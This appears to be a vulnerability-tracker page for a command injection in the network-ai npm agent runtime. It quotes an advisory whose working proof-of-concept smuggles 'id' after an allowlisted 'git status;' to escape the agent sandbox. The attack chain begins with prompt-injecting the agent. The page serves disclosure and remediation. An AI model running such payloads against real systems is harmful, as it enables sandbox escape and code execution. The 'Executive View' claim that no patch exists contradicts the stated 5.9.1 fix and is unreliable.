Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCompromise or prompt-inject agent
-
DeliveryCraft command beginning with allowlisted prefix
-
ExploitAppend shell metacharacters and payload
-
ExecutionSandboxPolicy.isCommandAllowed returns true
-
Persist/bin/sh -c interprets injected statements
-
ImpactArbitrary code execution as orchestrator process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires (1) network-ai version < 5.9.1 installed and used as the agent runtime; (2) the operator-configured |
| Impact | The reporter-assigned CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9) overstates exploitability for many deployments: AV:N assumes the agent input arrives over the network, but the vulnerable code path is reached only when an operator has already granted a wildcard allowlist entry and an agent or caller is permitted to submit commands, which is closer to a local/adjacent trust boundary. Scope:Changed is defensible because a compromised sandboxed agent breaks out to the orchestrator host process. EPSS, KEV status, and SSVC decision points are not provided in the input; given the package is a niche AI agent runtime and there is no public exploit identified at time of analysis beyond the advisory PoC, real-world exploitation is likely targeted rather than mass-scanned. The risk is genuine and high for anyone using wildcard allowlist patterns - particularly |
| Exploit ScenarioDerived | An operator deploys network-ai 5.8.5 with an allowlist containing |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 19, 2026
Command injection in the Network-AI npm package (network-ai < 5.9.1) lets any agent or caller granted a wildcard allowlist entry such as git *, npm *, or node * execute arbitrary shell commands as the orchestrator process. The flaw stems from SandboxPolicy.isCommandAllowed glob-matching the entire command string while ShellExecutor runs it through /bin/sh -c, so shell metacharacters like ;, |, and $(...) smuggle additional commands past the sandbox. A working PoC is published in the GHSA advisory, though there is no public exploit identified at time of analysis in the wild and no CISA KEV listing.
RemediationAI
Vendor-released patch: network-ai 5.9.1. Upgrade with npm install network-ai@5.9.1 (or later); the new ShellExecutor calls spawn(file, args, { shell: false }) with a quote-aware parsed argv and SandboxPolicy.isCommandAllowed/SandboxPolicy.tokenizeCommand reject unquoted shell metacharacters (; & | $ \ ( ) < > { }, newline) and unterminated quotes before the allowlist glob is applied. As defense in depth - and the only mitigation if you cannot upgrade immediately - remove broad wildcard allowlist entries, especially node *, npm *`, and any interpreter wildcard, since those grant code execution by design even after the patch; replace them with narrowly-scoped patterns naming the specific subcommands and argument shapes you actually need, accepting the operational trade-off that legitimate ad-hoc invocations will now be rejected and require allowlist updates. Refer to the advisory at https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Network-AI is a Node.js-based AI agent runtime distributed on npm (pkg:npm/network-ai). Its sandbox model (THREAT_MODEL.md, Adversary 3.2) relies on an operator-supplied allowlist enforced by SandboxPolicy.isCommandAllowed in lib/agent-runtime.ts. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): globMatch compiles * into .* and anchors the regex, so git * becomes ^git .*$ and matches any string starting with git - including git status; id. ShellExecutor.execute only consults isCommandAllowed (never requiresApproval) and then spawnCommand invokes /bin/sh -c <string>, causing the shell to interpret separators and substitutions the matcher never tokenized. The matcher and the executor disagree on what constitutes a single command.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Exploitation requires an operator-granted wildcard allowlist and a caller authorized to invoke ShellExecutor, so AV:L and PR:L; sandbox escape to host process gives S:C with full C/I/A impact.
Primary rating from Vendor (https://github.com/Jovancoding/Network-AI).
CVSS VectorVendor: https://github.com/Jovancoding/Network-AI
DescriptionCVE.org
Summary
The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but ShellExecutor runs that string through /bin/sh -c. So any wildcard allow such as git *, npm * or node * also matches git status; <anything>, and a scoped command becomes arbitrary execution.
Root cause
Matching and execution disagree on what a command is. Lines pinned to 40e42d7 (lib/agent-runtime.ts is identical to the v5.8.5 tag).
isCommandAllowedmatches the full string, with no tokenizing and no metacharacter check:
https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260
globMatchcompiles*to.*and anchors it, sogit *becomes^git .*$and matchesgit status; id:
https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360
ShellExecutor.executeonly checksisCommandAllowed, neverrequiresApproval:
https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391
spawnCommandruns the approved string via/bin/sh -c, so;,|and$(...)are interpreted by the shell:
https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431
Reachability
Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain git * is enough. No fresh-install precondition and no extra misconfiguration.
PoC
Installs network-ai@5.8.5, allows git *, then runs git status; id > marker. The allowlist accepts it and the injected id runs.
Run: npm i network-ai@5.8.5 && node poc-316.js
'use strict';
const os = require('os');
const fs = require('fs');
const path = require('path');
const { SandboxPolicy, ShellExecutor } = require('network-ai');
(async () => {
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));
const marker = path.join(base, 'PWNED-316.txt');
const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });
const sh = new ShellExecutor(policy);
const payload = `git status; id > ${marker}; echo INJECTED`;
console.log('version:', require('network-ai/package.json').version);
console.log('allowed:', policy.isCommandAllowed(payload));
await sh.execute(payload);
const ran = fs.existsSync(marker);
console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');
console.log(ran ? 'VULNERABLE' : 'not reproduced');
process.exit(ran ? 0 : 1);
})().catch(err => { console.error(err); process.exit(3); });Output:
version: 5.8.5
allowed: true
injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...
VULNERABLEImpact
Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (git *, npm *, node *) can run anything. node * and npm * are direct code exec even without metacharacters.
Possible fix
Do not run agent commands through a shell. Parse to argv and spawn(file, args, { shell: false }), allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus /bin/sh -c is the bug.
Patch
Fixed in v5.9.1 (commit 379f776). ShellExecutor now executes via spawn(file, args, { shell: false }) using a quote-aware parsed argv, so no shell is invoked. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (; & | $ ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data.
Remediation: upgrade to network-ai@5.9.1 or later. As defense in depth, avoid broad wildcard allowlist entries such as node * / npm * which are direct code execution by design.
Articles & Coverage 2
Executive ViewAI
The Network-AI npm package (versions < 5.9.1) contains a critical command injection vulnerability with publicly available exploit code that allows attackers with wildcard allowlist access to execute arbitrary commands at the orchestrator privilege level. Organizations deploying Network-AI with wildcard allowlist entries (such as 'git *', 'npm *', 'node *') face immediate risk of complete infrastructure compromise. Urgent action is required to audit configurations and implement interim controls while awaiting vendor patch availability.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Replace all wildcard allowlist entries with explicit, command-specific allowlists; (2) Restrict orchestrator network access to only required agents and services; (3) Implement OS-level process isolation and privilege limitations on the orchestrator; (4) Enable comprehensive command and execution audit logging; (5) Deploy behavior-based detection to flag suspicious command patterns.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
EUVD-2026-46003
GHSA-qw6v-5fcf-5666
NVD
CVE.org
EPSS
Exploit-DB